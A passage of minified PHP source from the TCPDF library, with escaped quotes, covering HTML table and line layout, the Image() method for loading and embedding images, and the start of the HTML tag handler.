!empty($tdborder)){$dom[$trid][\'cellpos\'][($cellid-1)][\'border\']=$tdborder;}$prevLastH=$this->lasth;if($this->rtl){$this->colxshift[\'x\']=$this->w-$this->x-$this->rMargin;}else {$this->colxshift[\'x\']=$this->x-$this->lMargin;}$this->colxshift[\'s\']=$cellspacing;$this->colxshift[\'p\']=$current_cell_padding;$this->MultiCell($cellw,$cellh,$cell_content,false,$lalign,false,2,\'\',\'\',true,0,true,true,0,\'T\',false);$this->colxshift=array(\'x\'=>0,\'s\'=>array(\'H\'=>0,\'V\'=>0),\'p\'=>array(\'L\'=>0,\'T\'=>0,\'R\'=>0,\'B\'=>0));$this->lasth=$prevLastH;$this->cell_padding=$old_cell_padding;$dom[$trid][\'cellpos\'][($cellid-1)][\'endx\']=$this->x;if($rowspan<=1){if(isset($dom[$trid][\'endy\'])){if(($this->page==$dom[$trid][\'endpage\']) AND ($this->current_column==$dom[$trid][\'endcolumn\'])){$dom[$trid][\'endy\']=max($this->y,$dom[$trid][\'endy\']);}elseif(($this->page>$dom[$trid][\'endpage\']) OR ($this->current_column>$dom[$trid][\'endcolumn\'])){$dom[$trid][\'endy\']=$this->y;}}else {$dom[$trid][\'endy\']=$this->y;}if(isset($dom[$trid][\'endpage\'])){$dom[$trid][\'endpage\']=max($this->page,$dom[$trid][\'endpage\']);}else {$dom[$trid][\'endpage\']=$this->page;}if(isset($dom[$trid][\'endcolumn\'])){$dom[$trid][\'endcolumn\']=max($this->current_column,$dom[$trid][\'endcolumn\']);}else {$dom[$trid][\'endcolumn\']=$this->current_column;}}else {$dom[$table_el][\'rowspans\'][($trsid-1)][\'endx\']=$this->x;$dom[$table_el][\'rowspans\'][($trsid-1)][\'endy\']=$this->y;$dom[$table_el][\'rowspans\'][($trsid-1)][\'endpage\']=$this->page;$dom[$table_el][\'rowspans\'][($trsid-1)][\'endcolumn\']=$this->current_column;}if(isset($dom[$table_el][\'rowspans\'])){foreach($dom[$table_el][\'rowspans\'] as $k=>$trwsp){if($trwsp[\'rowspan\']>0){if(isset($dom[$trid][\'endpage\'])){if(($trwsp[\'endpage\']==$dom[$trid][\'endpage\']) AND ($trwsp[\'endcolumn\']==$dom[$trid][\'endcolumn\'])){$dom[$table_el][\'rowspans\'][$k][\'endy\']=max($dom[$trid][\'endy\'],$trwsp[\'endy\']);}elseif(($trwsp[\'endpage\']<$dom[$trid][\'endpage\']) OR ($trwsp[\'endcolumn\']<$dom[$trid][\'endcolumn\'])){$dom[$table_el][\'rowspans\'][$k][\'endy\']=$dom[$trid][\'endy\'];$dom[$table_el][\'rowspans\'][$k][\'endpage\']=$dom[$trid][\'endpage\'];$dom[$table_el][\'rowspans\'][$k][\'endcolumn\']=$dom[$trid][\'endcolumn\'];}else {$dom[$trid][\'endy\']=$this->pagedim[$dom[$trid][\'endpage\']][\'hk\']-$this->pagedim[$dom[$trid][\'endpage\']][\'bm\'];}}}}}$this->x+=($cellspacingx/2);}else {if(!isset($opentagpos)){if($this->inxobj){$opentagpos=strlen($this->xobjects[$this->xobjid][\'outdata\']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$opentagpos=$this->footerpos[$this->page];}}$dom=$this->openHTMLTagHandler($dom,$key,$cell);}}else {$prev_numpages=$this->numpages;$old_bordermrk=$this->bordermrk[$this->page];$dom=$this->closeHTMLTagHandler($dom,$key,$cell,$maxbottomliney);if($this->bordermrk[$this->page]>$old_bordermrk){$startlinepos+=($this->bordermrk[$this->page]-$old_bordermrk);}if($prev_numpages>$this->numpages){$startlinepage=$this->page;}}}elseif(strlen($dom[$key][\'value\'])>0){if(!TCPDF_STATIC::empty_string($this->lispacer) AND ($this->lispacer!=\'^\')){$this->SetFont($pfontname,$pfontstyle,$pfontsize);$this->resetLastH();$minstartliney=$this->y;$maxbottomliney=($startliney+$this->getCellHeight($this->FontSize));if(is_numeric($pfontsize) AND ($pfontsize>0)){$this->putHtmlListBullet($this->listnum,$this->lispacer,$pfontsize);}$this->SetFont($curfontname,$curfontstyle,$curfontsize);$this->resetLastH();if(is_numeric($pfontsize) AND ($pfontsize>0) AND is_numeric($curfontsize) AND ($curfontsize>0) AND ($pfontsize!=$curfontsize)){$pfontascent=$this->getFontAscent($pfontname,$pfontstyle,$pfontsize);$pfontdescent=$this->getFontDescent($pfontname,$pfontstyle,$pfontsize);$this->y+=($this->getCellHeight(($pfontsize-$curfontsize)/$this->k)+$pfontascent-$curfontascent-$pfontdescent+$curfontdescent)/2;$minstartliney=min($this->y,$minstartliney);$maxbottomliney=max(($this->y+$this->getCellHeight($pfontsize/$this->k)),$maxbottomliney);}}$this->htmlvspace=0;if((!$this->premode) AND $this->isRTLTextDir()){$lsp=\'\';$rsp=\'\';if(preg_match(\'/^(\'.$this->re_space[\'p\'].\'+)/\'.$this->re_space[\'m\'],$dom[$key][\'value\'],$matches)){$lsp=$matches[1];}if(preg_match(\'/(\'.$this->re_space[\'p\'].\'+)$/\'.$this->re_space[\'m\'],$dom[$key][\'value\'],$matches)){$rsp=$matches[1];}$dom[$key][\'value\']=$rsp.$this->stringTrim($dom[$key][\'value\']).$lsp;}if($newline){if(!$this->premode){$prelen=strlen($dom[$key][\'value\']);if($this->isRTLTextDir()){$dom[$key][\'value\']=$this->stringRightTrim($dom[$key][\'value\']);}else {$dom[$key][\'value\']=$this->stringLeftTrim($dom[$key][\'value\']);}$postlen=strlen($dom[$key][\'value\']);if(($postlen==0) AND ($prelen>0)){$dom[$key][\'trimmed_space\']=true;}}$newline=false;$firstblock=true;}else {$firstblock=false;$dom[$key][\'value\']=preg_replace(\'/^\'.$this->re_space[\'p\'].\'+$/\'.$this->re_space[\'m\'],chr(32),$dom[$key][\'value\']);}$strrest=\'\';if($this->rtl){$this->x-=$this->textindent;}else {$this->x+=$this->textindent;}if(!isset($dom[$key][\'trimmed_space\']) OR !$dom[$key][\'trimmed_space\']){$strlinelen=$this->GetStringWidth($dom[$key][\'value\']);if(!empty($this->HREF) AND (isset($this->HREF[\'url\']))){$hrefcolor=\'\';if(isset($dom[($dom[$key][\'parent\'])][\'fgcolor\']) AND ($dom[($dom[$key][\'parent\'])][\'fgcolor\']!==false)){$hrefcolor=$dom[($dom[$key][\'parent\'])][\'fgcolor\'];}$hrefstyle=-1;if(isset($dom[($dom[$key][\'parent\'])][\'fontstyle\']) AND ($dom[($dom[$key][\'parent\'])][\'fontstyle\']!==false)){$hrefstyle=$dom[($dom[$key][\'parent\'])][\'fontstyle\'];}$strrest=$this->addHtmlLink($this->HREF[\'url\'],$dom[$key][\'value\'],$wfill,true,$hrefcolor,$hrefstyle,true);}else {$wadj=0;if($this->rtl){$cwa=($this->x-$this->lMargin);}else {$cwa=($this->w-$this->rMargin-$this->x);}if(($strlinelen<$cwa) AND (isset($dom[($key+1)])) AND ($dom[($key+1)][\'tag\']) AND (!$dom[($key+1)][\'block\'])){$nkey=($key+1);$write_block=true;$same_textdir=true;$tmp_fontname=$this->FontFamily;$tmp_fontstyle=$this->FontStyle;$tmp_fontsize=$this->FontSizePt;while($write_block AND isset($dom[$nkey])){if($dom[$nkey][\'tag\']){if($dom[$nkey][\'block\']){$write_block=false;}$tmp_fontname=isset($dom[$nkey][\'fontname\'])?$dom[$nkey][\'fontname\']:$this->FontFamily;$tmp_fontstyle=isset($dom[$nkey][\'fontstyle\'])?$dom[$nkey][\'fontstyle\']:$this->FontStyle;$tmp_fontsize=isset($dom[$nkey][\'fontsize\'])?$dom[$nkey][\'fontsize\']:$this->FontSizePt;$same_textdir=($dom[$nkey][\'dir\']==$dom[$key][\'dir\']);}else {$nextstr=TCPDF_STATIC::pregSplit(\'/\'.$this->re_space[\'p\'].\'+/\',$this->re_space[\'m\'],$dom[$nkey][\'value\']);if(isset($nextstr[0]) AND $same_textdir){$wadj+=$this->GetStringWidth($nextstr[0],$tmp_fontname,$tmp_fontstyle,$tmp_fontsize);if(isset($nextstr[1])){$write_block=false;}}}++$nkey;}}if(($wadj>0) AND (($strlinelen+$wadj)>=$cwa)){$wadj=0;$nextstr=TCPDF_STATIC::pregSplit(\'/\'.$this->re_space[\'p\'].\'/\',$this->re_space[\'m\'],$dom[$key][\'value\']);$numblks=count($nextstr);if($numblks>1){$wadj=($cwa-$strlinelen+$this->GetStringWidth($nextstr[($numblks-1)]));}else {$wadj=$this->GetStringWidth($nextstr[0]);}}if(($wadj>0) AND (($this->rtl AND ($this->tmprtl===\'L\')) OR (!$this->rtl AND ($this->tmprtl===\'R\')))){$reverse_dir=true;$this->rtl=!$this->rtl;$revshift=($strlinelen+$wadj+0.000001);if($this->rtl){$this->x+=$revshift;}else {$this->x-=$revshift;}$xws=$this->x;}$strrest=$this->Write($this->lasth,$dom[$key][\'value\'],\'\',$wfill,\'\',false,0,true,$firstblock,0,$wadj);if($reverse_dir AND ($wadj==0)){$this->x=$xws;$this->rtl=!$this->rtl;$reverse_dir=false;}}}$this->textindent=0;if(strlen($strrest)>0){$this->newline=true;if($strrest==$dom[$key][\'value\']){++$loop;}else {$loop=0;}$dom[$key][\'value\']=$strrest;if($cell){if($this->rtl){$this->x-=$this->cell_padding[\'R\'];}else {$this->x+=$this->cell_padding[\'L\'];}}if($loop<3){--$key;}}else {$loop=0;if($this->font_spacing>0){if($this->rtl){$this->x-=$this->font_spacing;}else {$this->x+=$this->font_spacing;}}}}++$key;if(isset($dom[$key][\'tag\']) AND $dom[$key][\'tag\'] AND (!isset($dom[$key][\'opening\']) OR !$dom[$key][\'opening\']) AND isset($dom[($dom[$key][\'parent\'])][\'attribute\'][\'nobr\']) AND ($dom[($dom[$key][\'parent\'])][\'attribute\'][\'nobr\']==\'true\')){if((!$undo) AND (($this->y<$this->start_transaction_y) OR (($dom[$key][\'value\']==\'tr\') AND ($dom[($dom[$key][\'parent\'])][\'endy\']<$this->start_transaction_y)))){$this->rollbackTransaction(true);foreach($this_method_vars as $vkey=>$vval){$$vkey=$vval;}if(!empty($dom[$key][\'thead\'])){$this->inthead=true;}$pre_y=$this->y;if((!$this->checkPageBreak($this->PageBreakTrigger+1)) AND ($this->y<$pre_y)){$startliney=$this->y;}$undo=true;}else {$undo=false;}}}if(isset($startlinex)){$yshift=($minstartliney-$startliney);if(($yshift>0) OR ($this->page>$startlinepage)){$yshift=0;}$t_x=0;$linew=abs($this->endlinex-$startlinex);if($this->inxobj){$pstart=substr($this->xobjects[$this->xobjid][\'outdata\'],0,$startlinepos);if(isset($opentagpos)){$midpos=$opentagpos;}else {$midpos=0;}if($midpos>0){$pmid=substr($this->xobjects[$this->xobjid][\'outdata\'],$startlinepos,($midpos-$startlinepos));$pend=substr($this->xobjects[$this->xobjid][\'outdata\'],$midpos);}else {$pmid=substr($this->xobjects[$this->xobjid][\'outdata\'],$startlinepos);$pend=\'\';}}else {$pstart=substr($this->getPageBuffer($startlinepage),0,$startlinepos);if(isset($opentagpos) AND isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=min($opentagpos,$this->footerpos[$startlinepage]);}elseif(isset($opentagpos)){$midpos=$opentagpos;}elseif(isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=$this->footerpos[$startlinepage];}else {$midpos=0;}if($midpos>0){$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos,($midpos-$startlinepos));$pend=substr($this->getPageBuffer($startlinepage),$midpos);}else {$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos);$pend=\'\';}}if((isset($plalign) AND ((($plalign==\'C\') OR (($plalign==\'R\') AND (!$this->rtl)) OR (($plalign==\'L\') AND ($this->rtl)))))){$tw=$w;if($this->lMargin!=$prevlMargin){$tw+=($prevlMargin-$this->lMargin);}if($this->rMargin!=$prevrMargin){$tw+=($prevrMargin-$this->rMargin);}$one_space_width=$this->GetStringWidth(chr(32));$no=0;if($this->isRTLTextDir()){$pos1=TCPDF_STATIC::revstrpos($pmid,\'[(\');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,\'[(\'.chr(0).chr(32)));$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,\'[(\'.chr(32)));$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1+2)).substr($pmid,($pos1+2+$spacelen));if(substr($pmid,$pos1,4)==\'[()]\'){$linew-=$one_space_width;}elseif($pos1==strpos($pmid,\'[(\')){$no=1;}}}}else {$pos1=TCPDF_STATIC::revstrpos($pmid,\')]\');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(0).chr(32).\')]\'))+2;$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(32).\')]\'))+1;$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1-$spacelen)).substr($pmid,$pos1);$linew-=$one_space_width;}}}$mdiff=($tw-$linew);if($plalign==\'C\'){if($this->rtl){$t_x=-($mdiff/2);}else {$t_x=($mdiff/2);}}elseif($plalign==\'R\'){$t_x=$mdiff;}elseif($plalign==\'L\'){$t_x=-$mdiff;}}if(($t_x!=0) OR ($yshift<0)){$trx=sprintf(\'1 0 0 1 %F %F cm\',($t_x*$this->k),($yshift*$this->k));$pstart.="
q
".$trx."
".$pmid."
Q
";$endlinepos=strlen($pstart);if($this->inxobj){$this->xobjects[$this->xobjid][\'outdata\']=$pstart.$pend;foreach($this->xobjects[$this->xobjid][\'annotations\'] as $pak=>$pac){if($pak>=$pask){$this->xobjects[$this->xobjid][\'annotations\'][$pak][\'x\']+=$t_x;$this->xobjects[$this->xobjid][\'annotations\'][$pak][\'y\']-=$yshift;}}}else {$this->setPageBuffer($startlinepage,$pstart.$pend);if(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][$pak][\'x\']+=$t_x;$this->PageAnnots[$this->page][$pak][\'y\']-=$yshift;}}}}$this->y-=$yshift;$yshift=0;}}$this->setGraphicVars($gvars);if($this->num_columns>1){$this->selectColumn();}elseif($this->page>$prevPage){$this->lMargin=$this->pagedim[$this->page][\'olm\'];$this->rMargin=$this->pagedim[$this->page][\'orm\'];}$this->cell_height_ratio=$prev_cell_height_ratio;$this->listnum=$prev_listnum;$this->listordered=$prev_listordered;$this->listcount=$prev_listcount;$this->lispacer=$prev_lispacer;if($ln AND (!($cell AND ($dom[$key-1][\'value\']==\'table\')))){$this->Ln($this->lasth);if(($this->y<$maxbottomliney) AND ($startlinepage==$this->page)){$this->y=$maxbottomliney;}}unset($dom);} function Image($file,$x=\'\',$y=\'\',$w=0,$h=0,$type=\'\',$link=\'\',$align=\'\',$resize=false,$dpi=300,$palign=\'\',$ismask=false,$imgmask=false,$border=0,$fitbox=false,$hidden=false,$fitonpage=false,$alt=false,$altimgs=array()){if($this->state!=2){return;}if(strcmp($x,\'\')===0){$x=$this->x;}if(strcmp($y,\'\')===0){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$exurl=\'\';$imsize=FALSE;if($file[0]===\'@\'){$imgdata=substr($file,1);}else {if($file[0]===\'*\'){$file=substr($file,1);$exurl=$file;}if(!@file_exists($file)){$tfile=str_replace(\' \',\'%20\',$file);if(@file_exists($tfile)){$file=$tfile;}}if(($imsize=@getimagesize($file))===FALSE){if(in_array($file,$this->imagekeys)){$info=$this->getImageBuffer($file);$imsize=array($info[\'w\'],$info[\'h\']);}elseif(strpos($file,\'__tcpdf_\'.$this->file_id.\'_img\')===FALSE){$imgdata=TCPDF_STATIC::fileGetContents($file);}}}if(!empty($imgdata)){$original_file=$file;$file=TCPDF_STATIC::getObjFilename(\'img\',$this->file_id);$fp=TCPDF_STATIC::fopenLocal($file,\'w\');if(!$fp){$this->Error(\'Unable to write file: \'.$file);}fwrite($fp,$imgdata);fclose($fp);unset($imgdata);$imsize=@getimagesize($file);if($imsize===FALSE){unlink($file);$file=$original_file;}}if($imsize===FALSE){if(($w>0) AND ($h>0)){$pw=$this->getHTMLUnitToUnits($w,0,$this->pdfunit,true)*$this->imgscale*$this->k;$ph=$this->getHTMLUnitToUnits($h,0,$this->pdfunit,true)*$this->imgscale*$this->k;$imsize=array($pw,$ph);}else {$this->Error(\'[Image] Unable to get the size of the image: \'.$file);}}$filehash=md5($file);list($pixw,$pixh)=$imsize;if(($w<=0) AND ($h<=0)){$w=$this->pixelsToUnits($pixw);$h=$this->pixelsToUnits($pixh);}elseif($w<=0){$w=$h*$pixw/$pixh;}elseif($h<=0){$h=$w*$pixh/$pixw;}elseif(($fitbox!==false) AND ($w>0) AND ($h>0)){if(strlen($fitbox)!==2){$fitbox=\'--\';}if((($w*$pixh)/($h*$pixw))<1){$oldh=$h;$h=$w*$pixh/$pixw;$hdiff=($oldh-$h);switch(strtoupper($fitbox[1])){case \'T\':{break;}case \'M\':{$y+=($hdiff/2);break;}case \'B\':{$y+=$hdiff;break;}}}else {$oldw=$w;$w=$h*$pixw/$pixh;$wdiff=($oldw-$w);switch(strtoupper($fitbox[0])){case \'L\':{if($this->rtl){$x-=$wdiff;}break;}case \'C\':{if($this->rtl){$x-=($wdiff/2);}else {$x+=($wdiff/2);}break;}case \'R\':{if(!$this->rtl){$x+=$wdiff;}break;}}}}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);$neww=round($w*$this->k*$dpi/$this->dpi);$newh=round($h*$this->k*$dpi/$this->dpi);$newsize=($neww*$newh);$pixsize=($pixw*$pixh);if(intval($resize)==2){$resize=true;}elseif($newsize>=$pixsize){$resize=false;}$newimage=true;if(in_array($file,$this->imagekeys)){$newimage=false;$info=$this->getImageBuffer($file);if(strpos($file,\'__tcpdf_\'.$this->file_id.\'_imgmask_\')===FALSE){$oldsize=($info[\'w\']*$info[\'h\']);if((($oldsize<$newsize) AND ($resize)) OR (($oldsize<$pixsize) AND (!$resize))){$newimage=true;}}}elseif(($ismask===false) AND ($imgmask===false) AND (strpos($file,\'__tcpdf_\'.$this->file_id.\'_imgmask_\')===FALSE)){$tempfile_plain=K_PATH_CACHE.\'__tcpdf_\'.$this->file_id.\'_imgmask_plain_\'.$filehash;$tempfile_alpha=K_PATH_CACHE.\'__tcpdf_\'.$this->file_id.\'_imgmask_alpha_\'.$filehash;if(in_array($tempfile_plain,$this->imagekeys)){$info=$this->getImageBuffer($tempfile_plain);$oldsize=($info[\'w\']*$info[\'h\']);if((($oldsize<$newsize) AND ($resize)) OR (($oldsize<$pixsize) AND (!$resize))){$newimage=true;}else {$newimage=false;$imgmask=$this->Image($tempfile_alpha,$x,$y,$w,$h,\'PNG\',\'\',\'\',$resize,$dpi,\'\',true,false);return $this->Image($tempfile_plain,$x,$y,$w,$h,$type,$link,$align,$resize,$dpi,$palign,false,$imgmask);}}}if($newimage){$type=strtolower($type);if($type==\'\'){$type=TCPDF_IMAGES::getImageFileType($file,$imsize);}elseif($type==\'jpg\'){$type=\'jpeg\';}$mqr=TCPDF_STATIC::get_mqr();TCPDF_STATIC::set_mqr(false);$mtd=\'_parse\'.$type;$gdfunction=\'imagecreatefrom\'.$type;$info=false;if((method_exists(\'TCPDF_IMAGES\',$mtd)) AND (!($resize AND (function_exists($gdfunction) OR extension_loaded(\'imagick\'))))){$info=TCPDF_IMAGES::$mtd($file);if(($ismask===false) AND ($imgmask===false) AND (strpos($file,\'__tcpdf_\'.$this->file_id.\'_imgmask_\')===FALSE) AND (($info===\'pngalpha\') OR (isset($info[\'trns\']) AND !empty($info[\'trns\'])))){return $this->ImagePngAlpha($file,$x,$y,$pixw,$pixh,$w,$h,\'PNG\',$link,$align,$resize,$dpi,$palign,$filehash);}}if(($info===false) AND function_exists($gdfunction)){try{$img=$gdfunction($file);if($img!==false){if($resize){$imgr=imagecreatetruecolor($neww,$newh);if(($type==\'gif\') OR ($type==\'png\')){$imgr=TCPDF_IMAGES::setGDImageTransparency($imgr,$img);}imagecopyresampled($imgr,$img,0,0,0,0,$neww,$newh,$pixw,$pixh);$img=$imgr;}if(($type==\'gif\') OR ($type==\'png\')){$info=TCPDF_IMAGES::_toPNG($img,TCPDF_STATIC::getObjFilename(\'img\',$this->file_id));}else {$info=TCPDF_IMAGES::_toJPEG($img,$this->jpeg_quality,TCPDF_STATIC::getObjFilename(\'img\',$this->file_id));}}}catch(Exception$e){$info=false;}}if(($info===false) AND extension_loaded(\'imagick\')){try{$img=new Imagick();if($type==\'svg\'){if($file[0]===\'@\'){$svgimg=substr($file,1);}else {$svgimg=TCPDF_STATIC::fileGetContents($file);}if($svgimg!==FALSE){$regs=array();if(preg_match(\'/<svg([^\>]*)>/si\',$svgimg,$regs)){$svgtag=$regs[1];$tmp=array();if(preg_match(\'/[\s]+width[\s]*=[\s]*"([^"]*)"/si\',$svgtag,$tmp)){$ow=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);$owu=sprintf(\'%F\',($ow*$dpi/72)).$this->pdfunit;$svgtag=preg_replace(\'/[\s]+width[\s]*=[\s]*"[^"]*"/si\',\' width="\'.$owu.\'"\',$svgtag,1);}else {$ow=$w;}$tmp=array();if(preg_match(\'/[\s]+height[\s]*=[\s]*"([^"]*)"/si\',$svgtag,$tmp)){$oh=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);$ohu=sprintf(\'%F\',($oh*$dpi/72)).$this->pdfunit;$svgtag=preg_replace(\'/[\s]+height[\s]*=[\s]*"[^"]*"/si\',\' height="\'.$ohu.\'"\',$svgtag,1);}else {$oh=$h;}$tmp=array();if(!preg_match(\'/[\s]+viewBox[\s]*=[\s]*"[\s]*([0-9\.]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]*"/si\',$svgtag,$tmp)){$vbw=($ow*$this->imgscale*$this->k);$vbh=($oh*$this->imgscale*$this->k);$vbox=sprintf(\' viewBox="0 0 %F %F" \',$vbw,$vbh);$svgtag=$vbox.$svgtag;}$svgimg=preg_replace(\'/<svg([^\>]*)>/si\',\'<svg\'.$svgtag.\'>\',$svgimg,1);}$img->readImageBlob($svgimg);}}else {$img->readImage($file);}if($resize){$img->resizeImage($neww,$newh,10,1,false);}$img->setCompressionQuality($this->jpeg_quality);$img->setImageFormat(\'jpeg\');$tempname=TCPDF_STATIC::getObjFilename(\'img\',$this->file_id);$img->writeImage($tempname);$info=TCPDF_IMAGES::_parsejpeg($tempname);unlink($tempname);$img->destroy();}catch(Exception$e){$info=false;}}if($info===false){return;}TCPDF_STATIC::set_mqr($mqr);if($ismask){$info[\'cs\']=\'DeviceGray\';}if($imgmask!==false){$info[\'masked\']=$imgmask;}if(!empty($exurl)){$info[\'exurl\']=$exurl;}$info[\'altimgs\']=$altimgs;$info[\'i\']=$this->setImageBuffer($file,$info);}$this->img_rb_y=$y+$h;if($this->rtl){if($palign==\'L\'){$ximg=$this->lMargin;}elseif($palign==\'C\'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign==\'R\'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign==\'L\'){$ximg=$this->lMargin;}elseif($palign==\'C\'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign==\'R\'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}if($ismask OR $hidden){return $info[\'i\'];}$xkimg=$ximg*$this->k;if(!$alt){$this->_out(sprintf(\'q %F 0 0 %F %F %F cm /I%u Do Q\',($w*$this->k),($h*$this->k),$xkimg,(($this->h-($y+$h))*$this->k),$info[\'i\']));}if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,\'\',$border,0,\'\',0,\'\',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case \'T\':{$this->y=$y;$this->x=$this->img_rb_x;break;}case \'M\':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case \'B\':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case \'N\':{$this->SetY($this->img_rb_y);break;}default:{break;}}$this->endlinex=$this->img_rb_x;if($this->inxobj){$this->xobjects[$this->xobjid][\'images\'][]=$info[\'i\'];}return $info[\'i\'];} function openHTMLTagHandler($dom,$key,$cell){$tag=$dom[$key];$parent=$dom[($dom[$key][\'parent\'])];$firsttag=($key==1);if(isset($tag[\'dir\'])){$this->setTempRTL($tag[\'dir\']);}else {$this->tmprtl=false;}if($tag[\'block\']){$hbz=0;$hb=0;if(isset($this->tagvspaces[$tag[\'value\']][0][\'h\']) AND ($this->tagvspaces[$tag[\'value\']][0][\'h\']>=0)){$cur_h=$this->tagvspaces[$tag[\'value\']][0][\'h\'];}elseif(isset($tag[\'fontsize\'])){$cur_h=$this->getCellHeight($tag[\'fontsize\']/$this->k);}else {$cur_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag[\'value\']][0][\'n\'])){$on=$this->tagvspaces[$tag[\'value\']][0][\'n\'];}elseif(preg_match(\'/[h][0-9]/\',$tag[\'value\'])>0){$on=0.6;}else {$on=1;}if((!isset($this->tagvspaces[$tag[\'value\']])) AND (in_array($tag[\'value\'],array(\'div\',\'dt\',\'dd\',\'li\',\'br\',\'hr\')))){$hb=0;}else {$hb=($on*$cur_h);}if(($this->htmlvspace<=0) AND ($on>0)){if(isset($parent[\'fontsize\'])){$hbz=(($parent[\'fontsize\']/$this->k)*$this->cell_height_ratio);}else {$hbz=$this->getCellHeight($this->FontSize);}}if(isset($dom[($key-1)]) AND ($dom[($key-1)][\'value\']==\'table\')){$hbz=0;}$hbc=0;if(isset($this->tagvspaces[$tag[\'value\']][1][\'h\']) AND ($this->tagvspaces[$tag[\'value\']][1][\'h\']>=0)){$pre_h=$this->tagvspaces[$tag[\'value\']][1][\'h\'];}elseif(isset($parent[\'fontsize\'])){$pre_h=$this->getCellHeight($parent[\'fontsize\']/$this->k);}else {$pre_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag[\'value\']][1][\'n\'])){$cn=$this->tagvspaces[$tag[\'value\']][1][\'n\'];}elseif(preg_match(\'/[h][0-9]/\',$tag[\'value\'])>0){$cn=0.6;}else {$cn=1;}if(isset($this->tagvspaces[$tag[\'value\']][1])){$hbc=($cn*$pre_h);}}switch($tag[\'value\']){case \'img\':{if(!empty($tag[\'attribute\'][\'src\'])){if($tag[\'attribute\'][\'src\'][0]===\'@\'){$tag[\'attribute\'][\'src\']=\'@\'.base64_decode(substr($tag[\'attribute\'][\'src\'],1));$type=\'\';}else {$type=TCPDF_IMAGES::getImageFileType($tag[\'attribute\'][\'src\']);}if(!isset($tag[\'width\'])){$tag[\'width\']=0;}if(!isset($tag[\'height\'])){$tag[\'height\']=0;}$tag[\'attribute\'][\'align\']=\'bottom\';switch($tag[\'attribute\'][\'align\']){case \'top\':{$align=\'T\';break;}case \'middle\':{$align=\'M\';break;}case \'bottom\':{$align=\'B\';break;}default:{$align=\'B\';break;}}$prevy=$this->y;$xpos=$this->x;$imglink=\'\';if(isset($this->HREF[\'url\']) AND !TCPDF_STATIC::empty_string($this->HREF[\'url\'])){$imglink=$this->HREF[\'url\'];if($imglink[0]==\'#\'){$lnkdata=explode(\',\',$imglink);if(isset($lnkdata[0])){$page=intval(substr($lnkdata[0],1));if(empty($page) OR ($page<=0)){$page=$this->page;}if(isset($lnkdata[1]) AND (strlen($lnkdata[1])>0)){$lnky=floatval($lnkdata[1]);}else {$lnky=0;}$imglink=$this->AddLink();$this->SetLink($imglink,$lnky,$page);}}}$border=0;if(isset($tag[\'border\']) AND !empty($tag[\'border\'])){$border=$tag[\'border\'];}$iw=\'\';if(isset($tag[\'width\'])){$iw=$this->getHTMLUnitToUnits($tag[\'width\'],($tag[\'fontsize\']/$this->k),\'px\',false);}$ih=\'\';if(isset($tag[\'height\'])){$ih=$this->getHTMLUnitToUnits($tag[\'height\'],($tag[\'fontsize\']/$this->k),\'px\',false);}if(($type==\'eps\') OR ($type==\'ai\')){$this->ImageEps($tag[\'attribute\'][\'src\'],$xpos,$this->y,$iw,$ih,$imglink,true,$align,\'\',$border,true);}elseif($type==\'svg\'){$this->ImageSVG($tag[\'attribute\'][\'src\'],$xpos,$this->y,$iw,$ih,$imglink,$align,\'\',$border,true);}else {$this->Image($tag[\'attribute\'][\'src\'],$xpos,$this->y,$iw,$ih,\'\',$imglink,$align,false,300,\'\',false,false,$border,false,false,true);}switch($align){case \'T\':{$this->y=$prevy;break;}case \'M\':{$this->y=(($this->img_rb_y+$prevy-($this->getCellHeight($tag[\'fontsize\']/$this->k)))/2);break;}case \'B\':{$this->y=$this->img_rb_y-($this->getCellHeight($tag[\'fontsize\']/$this->k)-($this->getFontDescent($tag[\'fontname\'],$tag[\'fontstyle\'],$tag[\'fontsize\'])*$this->cell_height_ratio));break;}}}break;}case \'table\':{$cp=0;$cs=0;$dom[$key][\'rowspans\']=array();if(!isset($dom[$key][\'attribute\'][\'nested\']) OR ($dom[$key][\'attribute\'][\'nested\']!=\'true\')){$this->htmlvspace=0;if(!TCPDF_STATIC::empty_string($dom[$key][\'thead\'])){$this->thead=$dom[$key][\'thead\'];if(!isset($this->theadMargins) OR 